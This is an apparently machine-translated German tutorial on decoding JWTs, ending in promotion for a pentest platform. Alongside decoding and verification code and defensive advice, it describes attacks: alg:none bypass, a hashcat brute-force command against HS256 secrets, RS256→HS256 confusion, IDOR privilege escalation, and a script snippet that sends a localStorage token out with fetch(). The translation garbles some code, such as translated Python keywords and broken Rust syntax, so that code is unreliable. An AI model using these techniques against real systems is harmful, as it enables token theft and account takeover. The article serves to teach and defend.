Bußgeld-Kopfzeile

JWT Token dekodieren Tutorial: Tools, Schritte und bewährte Praktiken

Was es tatsächlich bedeutet, einen JWT zu entschlüsseln

Die Dekodierung eines JWT bedeutet, dass die Kopfzeile und die Nutzdaten extrahiert werden, die nur mit Base64URL kodiert sind, um den Algorithmus, die Metadaten und die Ansprüche innerhalb des Tokens aufzudecken. Dieser Prozess macht nicht seine Authentizität zu überprüfen. Jeder kann ein JWT entschlüsseln, aber nur die Überprüfung der Unterschrift bestimmt, ob der Token vertrauenswürdig ist. Diese Unterscheidung ist für die sichere Authentifizierung und Penetrationstests von entscheidender Bedeutung.

JWT Token Decodierung Tutorial Penligent

Wie die JWT-Dekodierung intern funktioniert

Ein JSON-Web-Token besteht aus:

css

header.payload.signature Sowohl die Kopfzeile als auch die Nutzlast sind Base64URL-kodierte JSON-Objekte. Zum Beispiel:

json

// Kopfzeile

{

"alg": "HS256",

"Typ": "JWT"

}

// Nutzlast

{

"Benutzername": "admin",

"Rolle": "SuperUser"

}

Die manuelle Dekodierung erfordert nur Base64URL-Operationen:

python

base64, json importieren

def decode_part(segment):

padded = Segment + "=" * (-len(Segment) % 4)

return json.loads(base64.urlsafe_b64decode(padded))

header, payload, _ = token.split(".")

print(decode_part(header))

print(decode_part(payload))

Dies verdeutlicht eine grundlegende Sicherheitswahrheit: JWT-Dekodierung impliziert kein Vertrauen. Eine rechtmäßige Überprüfung erfordert die Überprüfung der Unterschrift, des Ausstellers, der Zielgruppe, des Ablaufs und des Unterzeichnungsalgorithmus.

JWT-Tokens

Beliebte Tools zur Dekodierung von JWT-Tokens

WerkzeugStärkeLink
JWT.ioDekodierung in Echtzeit, schnelle Experimentehttps://jwt.io
SuperTokens DecoderSaubere, entwicklerfreundliche Benutzeroberflächehttps://supertokens.com/jwt-encoder-decoder
Auth0 Token-DebuggerÜberprüfung auf Unternehmensebenehttps://auth0.com/docs/tokens
PyJWTCLI + Python-Bibliothekhttps://pyjwt.readthedocs.io
jwt-decode (JS)Leichtgewichtiger browser-seitiger Decoderhttps://www.npmjs.com/package/jwt-decode

Beispiele für JWT-Angriffe aus der Praxis, die in Pentests beobachtet wurden

Die JWT-Dekodierung wird gefährlich, wenn Angreifer sie mit Signaturfehlern, schwachen Geheimnissen und unsicherer Validierung kombinieren. Hier sind Angriffsszenarien, die in der Praxis häufig vorkommen.

"alg: none" Signaturumgehung

Ältere Bibliotheken akzeptierten unsignierte JWTs:

json

{

"alg": "keine",

"Typ": "JWT"

}

Angreifer könnten die Signatur vollständig entfernen und sich ohne das Geheimnis authentifizieren.

Schwache geheime brachiale Gewalt (HS256)

Die Entwickler verwenden oft Geheimnisse wie:

nginx

geheim

admin123

Passwort

Angreifer verwenden Hashcat:

css

hashcat -a 0 -m 16500 token.hash wordlist.txt

Algorithmus Konfusion (RS256 → HS256)

Der Angreifer:

  1. Ändert Algorithmus von RS256 zu HS256
  2. Verwendet den öffentlichen Schlüssel des Servers als HMAC-Geheimnis
  3. Fälscht gültige Token, die Administratorrollen gewähren

Dies ist nach wie vor einer der wirkungsvollsten JWT-Angriffe, die jemals entdeckt wurden.

RS256 → HS256

Token-Diebstahl über XSS

Wenn JWTs in localStoragekönnen Angreifer sie stehlen:

javascript

<script>

fetch("" + localStorage.token);

</script>

CORS-Fehlkonfiguration führt zu Token-Exposition

Wenn CORS-Richtlinien Wildcards zulassen, können Browseranfragen JWT-Cookies an von Angreifern kontrollierte Domänen weiterleiten.

Replay-Angriffe bei langlebigen mobilen Token

Angreifer extrahieren Token von:

  • Unverschlüsselter lokaler Speicher
  • verwurzelte Geräte
  • unsichere Caches

Replay kann die MFA vollständig umgehen.

Mehrsprachige JWT-Dekodierung und Verifizierungscode

Node.js

javascript

const jwt = require("jsonwebtoken");

const decoded = jwt.verify(token, PUBLIC_KEY, {

Algorithmen: ["RS256"],

Aussteller: "auth.example.com",

Publikum: "beispiel.de"

});

console.log(decoded);

Weiter

gehen.

token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {

return []byte("geheim"), nil

})

Rost

Rost

let decoded = decode::(

Token,

&DecodingKey::from_secret(secret.as_ref()),

&Validierung::new(Algorithmus::HS256)

);

Manueller JWT-Dekodierungs-Workflow für Pentester

Während der Pentests wird die JWT-Entschlüsselung aufgedeckt:

  • im Klartext gespeicherte Privilegien
  • fehlt exp oder iat
  • falsch konfigurierter Algorithmus
  • sensible Daten in der Nutzlast
  • mögliche Vektoren für die Ausweitung von Privilegien

Auf diese Weise erkennen die Tester, dass die Zugriffskontrolle nicht mehr funktioniert und die Rollen eskalieren.

Manueller JavaScript-Decoder (keine Bibliothek)

javascript

function decode(seg) {

seg = seg.replace(/-/g, "+").replace(/_/g, "/");

seg += "=".repeat((4 - seg.length % 4) % 4);

return JSON.parse(atob(seg));

}

Erweiterte JWT-Angriffsketten (Red-Team-Szenarien)

JWT + IDOR → Vollständige Kontoübernahme

Fluss:

  1. JWT entschlüsseln
  2. ändern "sub": "501" zu "sub": "1"
  3. erneut unterschreiben oder die Signatur umgehen
  4. privilegierten Endpunkt treffen
  5. Privilegien eskalieren

Diese Kette erscheint fast wöchentlich in Unternehmensbewertungen.

JWT + Microservice-Impersonation

Eine schwache interne Validierung ermöglicht es Angreifern, sich als Dienste auszugeben:

  • Zugang zu Rechnungsdaten
  • Benutzerberechtigungen ändern
  • Nachrichtenwarteschlangen lesen
  • API-Gateways zu umgehen

Bewährte Defensivpraktiken (Blaues Team)

Strenge Durchsetzung von Algorithmen

python

jwt.decode(token, key, algorithms=["RS256"])

Starke Geheimnisse für HS256

Erzeugen mit:

perl

openssl rand -hex 32

Validierung von Standardansprüchen

exp

Ausgabe

aud

nbf

JWT in HttpOnly-Cookies speichern

Entschärft den XSS-Token-Diebstahl.

Tastendrehung implementieren

Verwenden Sie JWKS für die verteilte Schlüsselverwaltung:

JWT-Sicherheitsanalyse integriert in Penligent.ai

Moderne Authentifizierungssysteme verwenden oft Dutzende von Microservices, jeder mit seiner eigenen JWT-Logik. Eine manuelle Überprüfung wird langsam und fehleranfällig. Penligent.aieine intelligente Penetrationstest-Plattform, integriert die JWT-Analyse direkt in ihre automatisierten Sicherheits-Workflows.

Penligent.ai durchführt:

  • Prüfung der Unterschriftsvalidierung
  • Erkennung schwacher Geheimnisse durch hybrides CPU/GPU-Knacken
  • Erkennung von Algorithmus-Fehlanpassungen
  • Tests zur Anspruchsmanipulation
  • Simulationen von Wiederholungs- und Refresh-Token-Missbrauch
  • Scannen von Token-Lecks in JS-Bündeln
  • Endpunkt-Korrelation zur Erkennung inkonsistenter JWT-Validierung

Es rekonstruiert auch Ausbeutungsketten, wie z. B.:

  • RS256 → HS256 Schlüsselverwechslung
  • IDOR über manipulierte unter Anspruch
  • Privilegienerweiterung über gefälschte Rolle Felder

Bei großen Anwendungen reduziert diese automatisierte JWT-Analyse den manuellen Arbeitsaufwand drastisch und deckt gleichzeitig Schwachstellen auf, die herkömmlichen Tools oft entgehen.

Umfassende JWT-Angriffs- und Verteidigungsmatrix

AngriffBeschreibungBeispielVerteidigung
alg: keineEntfernt UnterschriftLeeres UnterschriftenfeldAblehnung von JWTs ohne Vorzeichen
RS→HS VerwirrungÖffentlicher Schlüssel, der als HMAC-Geheimnis verwendet wirdGefälschtes Admin-TokenAlgorithmus durchsetzen
Schwaches GeheimnisBrachiale Gewalt HS256"passwort123" geheim32-Byte-Zufallsschlüssel
Manipulierte AnsprücheRolle/Teilrolle ändernRolle "admin"Server-seitige Autorisierung
XSS-DiebstahlJS stiehlt JWTlocalStorage.tokenHttpOnly-Cookies
Replay-AngriffToken wiederverwendenMobile AnwendungenKurzer TTL, Drehung
Durchgesickerte interne TokenDienst-IdentitätMicroservicesmTLS, JWKS, Geltungsbereiche

Abschließende Überlegungen

Die Entschlüsselung eines JWT ist nur der Anfang. Echte Sicherheit entsteht durch die Überprüfung von Signaturen, die Durchsetzung strenger Algorithmen, die Validierung von Ansprüchen, die Rotation von Schlüsseln und die sichere Speicherung von Token. Moderne Anwendungen stützen sich in hohem Maße auf die Token-basierte Authentifizierung, was die Korrektheit von JWTs zu einem entscheidenden Bestandteil der Sicherheitslage macht.

Durch die Kombination solider technischer Verfahren mit automatisierten Sicherheitsplattformen wie Penligent.aikönnen Unternehmen Fehlkonfigurationen schnell erkennen, Angriffe zur Eskalation von Privilegien verhindern und sicherstellen, dass ihre Authentifizierungssysteme gegen moderne Angreifertechniken resistent sind.

Teilen Sie den Beitrag:
Verwandte Beiträge
de_DEGerman